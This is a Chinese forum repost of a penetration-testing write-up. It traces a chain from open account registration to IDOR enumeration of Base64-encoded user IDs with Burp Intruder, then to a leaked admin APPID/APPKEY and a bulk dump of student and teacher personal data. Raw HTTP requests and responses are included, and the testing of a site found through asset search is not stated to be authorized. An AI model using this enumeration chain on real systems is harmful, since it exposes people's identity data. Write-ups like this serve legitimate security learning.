一、前言
在一次针对Fofa资产进行批量搜索与探测的过程中，一个看似普通的站点引起了我的注意。凭借经验，我决定对其进行深入测试。本文将复盘从发现任意注册漏洞开始，最终演变为一次严重信息泄露的完整挖掘链条。为保护目标，文中所有敏感信息均已做脱敏处理。
二、漏洞挖掘过程
整个测试从登录框开始。初始目标是一个标准的中文账户登录界面，包含账号、密码输入框和一个蓝色的登录按钮。面对此类入口，常规思路是进行SQL注入、弱口令等基础测试。尝试了多种Payload和字典后，均未取得任何进展。同时，也测试了通过拦截请求修改响应包中状态值（如ret、success、200等）进行逻辑绕过的可能性，同样无果。
在登录入口受阻后，我转而关注站点其他功能，并很快发现了一个“帐号注册”页面。页面包含用户名、手机号、密码、确认密码及验证码输入框。快速测试了该页面的XSS和SQL注入点后，也未发现可利用之处。于是，我决定正常注册一个测试账号，使用信息如下：
- 用户名：
test
- 手机号：
11111111111
- 密码：
123123
- 验证码：手动输入
出乎意料的是，注册过程非常顺利，未受到任何限制，账号test被成功创建。
1. 低权限账户进入后台
使用刚注册的test账号登录系统。登录请求如下所示，响应中返回了“用户名不合法”的错误信息，但实际登录过程是成功的。
登录请求示例：
POST / HTTP/1.1
Host: [目标域名]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh-TW;q=0.8,zh-HK;q=0.5,en-US;q=0.3,en;q=0.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 19
Origin: http://localhost
Cookie: PHPSESSID=tdtta0dp0iopiij2f9cn1jhn35
u=123123&p=123123
登录响应示例：
HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html; charset=utf-8
Content-Length: 41
Set-Cookie: PHPSESSID=tdtta0dp0iopiij2f9cn1jhn35; path=/; HttpOnly
{“ret”:“err”,“data”:“用户名不合法”}
登录成功后，进入一个名为“网站应用管理后台”的界面。页面顶部导航栏显示登录用户为test，并提供了退出选项。主体部分是一个“我的应用”列表，但当前显示为空（0条数据）。根据网站标题“数据共享中心”判断，该平台的核心功能应是数据交互，当前账号无数据很可能是因为权限过低。
2. 寻找权限提升突破口
既然直接爆破高权限账户密码行不通，我便转向寻找是否存在越权操作点。在后台右上角点击用户名test，进入“我的信息”修改页面。该页面表单包含姓名、手机号、邮箱和密码等字段，其中姓名和手机号已自动填充为注册时的信息。
我立即抓取提交修改信息的请求包，关键发现就在其中。
修改个人信息的原始请求包：
POST /index.php HTTP/1.1
Host: [目标域名]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Origin: [目标域名]
Cookie: PHPSESSID=td4ta0dp0iopiij2f9cnl jhn35
tpl=act_member&frmId=%23d1g1&do=m&data%5Btruename%5D=dGVzdA%3D%3D&data%5Bmobile%5D=MTEzMTExMTEzMD&data%5Bemail%5D=MTIzNDY1&data%5Bpass%5D=&data%5Bid%5D=MTU2NzA2MTI4Mg%3D%3D
为了便于分析，可以将POST Data进行URL解码，解码后的内容更加清晰：
tpl=act_member&frmId=#d1g1&do=m&data[truename]=dGVzdA==&data[mobile]=MTEzMTExMTEzMD&data[email]=MTIzNDY1&data[pass]=&data[id]=MTU2NzA2MTI4Mg==
可以明显看到，data参数下的truename、mobile、id等字段的值均为一串Base64编码的字符串。这正是此漏洞链的关键。将data[id]的值MTU2NzA2MTI4Mg==进行Base64解码，得到明文数字1567061282，这应该就是当前用户test在系统中的唯一标识ID。
3. 利用ID枚举实现越权访问
发现可遍历的用户ID参数后，思路立刻清晰：通过批量修改data[id]的值，可以尝试访问或修改其他用户的信息。我使用Burp Suite的Intruder模块，对ID的后几位进行遍历。在真实的渗透测试场景中，通常枚举最后2-4位即可覆盖大量用户。
攻击结果很快返回，多个不同的ID返回了状态码200和不同长度的响应体。查看响应内容，发现了大量其他用户的信息。例如，其中一个响应包返回了如下JSON数据：
{“status”:0,“pand5”:“1adbb3178591rd5bld”,“role”:“0”,“sex”:null,“mobile”:“15385...”}
响应中不仅包含了其他用户的手机号（mobile），还有一个疑似经过MD5加密的密钥字段（pand5）。更重要的是，role字段标识了用户的身份权限。这意味着，我可以通过遍历ID，从返回的信息中筛选出role值更高的管理员账户。
4. 获取高权限账户凭证并泄露数据
通过上述越权枚举，我成功获取了一个高权限账户的凭据（APPID和APPKEY）。随后，在系统的开发文档中，我找到了对应的高权限数据接口。
接口文档示例：
- 接口名称：获取教师列表
- 接口地址：
id=APPID&secret=APPKEY&p=页码
- 参数说明：
clientid (int): 分配的appidsecret (string): 分配的keyp (int): 页码，每页500条记录
- 返回示例：
{“msg”:“1”,“index”:1,“pagesize”:300,“count”:362,...}
使用获取到的高权限账户APPID和APPKEY调用此接口，成功获取了系统内的全量敏感数据。返回的数据结构大致如下，包含了全校师生详细的个人身份信息：
{
“code”: 200,
“msg”: “success”,
“data”: [
{
“id”: “1001”,
“name”: “张三”,
“type”: “student”,
“identity_card”: “110101199001011234”,
“phone”: “13800138000”,
“email”: “zhangsan@university.edu”
},
{
“id”: “2001”,
“name”: “李四”,
“type”: “teacher”,
“identity_card”: “110102198505055678”,
“phone”: “13900139001”,
“email”: “lisi@university.edu”
}
]
}
至此，一个由任意用户注册漏洞为入口，通过ID枚举实现水平越权，最终利用高权限账户调用接口导致全量敏感信息泄露的漏洞链被完整证实。
三、结语
回顾整个挖掘过程，技术点本身（如ID枚举、Base64解码）并不复杂，关键在于测试思路的连贯性与对业务逻辑的敏锐洞察。当在一个测试点（如登录框）受阻时，不应僵化死守，而应结合站点功能（如数据共享中心）进行发散思考，寻找其他可能成为突破口的交互点（如用户注册、信息修改）。
本次测试也再次印证了安全防护的“木桶效应”，一处看似不起眼的低危漏洞（任意注册），在缺乏其他环节（如权限校验、敏感接口鉴权）的有效防护时，完全可能演变成导致核心数据泄露的高危风险。希望这个案例能为开发者在设计用户体系与权限控制时提供一些参考，也为安全研究者提供一种连贯性的挖掘思路。
参考资料
[1] 实战挖洞技巧-记一次由任意注册引发的严重信息泄露案例, 微信公众号：mp.weixin.qq.com/s/v7V0wL9XdZDH84w-fC_Xgg
版权声明：本文由 云栈社区 整理发布，版权归原作者所有。
发表于 昨天 17:19
|
查看: 4|
回复: 0
